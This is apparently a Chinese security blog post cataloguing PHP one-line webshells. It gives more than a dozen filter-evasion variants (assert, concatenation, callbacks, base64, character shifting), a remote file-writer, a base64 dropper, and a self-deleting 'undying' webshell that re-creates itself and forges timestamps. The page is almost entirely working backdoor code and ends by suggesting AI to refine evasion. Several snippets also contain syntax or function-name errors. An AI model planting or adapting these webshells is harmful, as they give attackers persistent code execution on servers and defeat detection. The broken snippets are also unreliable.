这里主要收集了一些常用的php一句话木马不同的写法,应对一些对文件内容过滤的场景
1、普通一句话木马
<?php @eval($_POST['cmd']); ?>
2、如果过滤了eval,可以使用assert绕过
<?php @assert($_POST['cmd']); ?>
3、当过滤了eval、assert两个关键字时,可以用字符串拼接的方式。介绍substr_replace()函数
<?php
$a=substr_replace("assexx","rt",4);
@$a($_POST['cmd']);
?>
4、@call_user_func把第一个参数作为回调参数使用
<?php
@call_user_func(assert,$_POST['cmd']);
?>
5、除了substr_replace(),还有一种字符分割法
<?php
$a="a"."s";
$b="s"."e"."rt";
$c=$a.$b;
$c($_POST['cmd']);
?>
6、给下面给fun1中的变量a赋值assert
<?php
function fun1($a){
assert($a);
}
fun1($_POST['cmd']);
?>
7、可以利用函数来构造一句话木马
<?php
function shyshy($a){
assert($a);
}
@shyshy($_POST['cmd']);
?>
8、适用于过滤了GET和POST的情况下
<?php
$a=$_REQUEST['cmd'];
$b="\n";
eval($b.=$a);
?>
9、可以构造一个类,利用魔术方法来拼接
<?php
class shyshy{
public $a='';
function __destruct(){
assert("this->$a");
}
}
$b=new shyshy();
$b->a=$_POST['cmd'];
?>
10、base64加解密
<?php
$a=base_decode(YXNzZXJ0);
$b=$a(base64_decode($_POST['cmd']));
?>
11、写入木马
<?php
if(isset($_POST['filename']))
{
$d='data';
$$d=$_POST['text']; //$data
$f='fp';
$$f=fopen($_POST['filename'],'wb'); //$fp
echo fwrite($fp,$data):"save success":"save fail";
fclose($fp);
}
?>
12、不死马
<?php
ignore_user_abort(true); //设置与客户机断开是否会终止脚本的执行,true则不会
set_time_limit(0); //如果为零说明永久执行直到程序结束
unlink(__FILE__); //调用unlink()的时候,文件还是存在的,只是目录里找不到该文件了,但是已经打开这个文件的进程可以正常读写
$file='./.index1.php';
$code='<?php
if(md5($_POST["pass"])=="xxxxxxxxxx") //给木马设置密码,防止他人使用
{
@eval($_POST["cmd"]);
}?>';
while(1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 9:10:12" .index1.php'); //设置文件的编辑时间
usleep(5000);
}
?>
13、还有一种方法
<?php
function simpleTransform($str, $offset = 1) {
$transformed = '';
for ($i = 0; $i < strlen($str); $i++) {
$transformed .= chr((ord($str[$i]) + $offset) % 256);
}
return $transformed;
}
$original = $_REQUEST["a"];
$transformed = simpleTransform($original, 3);
function reverseTransform($str, $offset = 1) {
$reversed = '';
for ($i = 0; $i < strlen($str); $i++) {
$reversed .= chr((ord($str[$i]) - $offset + 256) % 256);
}
return $reversed;
}
$reversed = reverseTransform($transformed, 3);
echo eval($reversed);
14、其他
<?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["xiaoyu"]); ?>
<?php $lang = (string)key($_POST);$lang($_POST['xiaoyu']);?>
<?php $k="ass"."ert"; $k(${"_PO"."ST"} ['xiaoyu']);?>
<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>
# 密码是-7
php v9
<?php file_put_contents('c7.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW2NjMjc4OV0pOz8+')); ?>
…/…/…/…/html/special/cc/index
更多一句话木马免杀方法,可以配合AI逐步尝试
本站小部分内容转载于互联网,如有侵权还请联系THE END
















暂无评论内容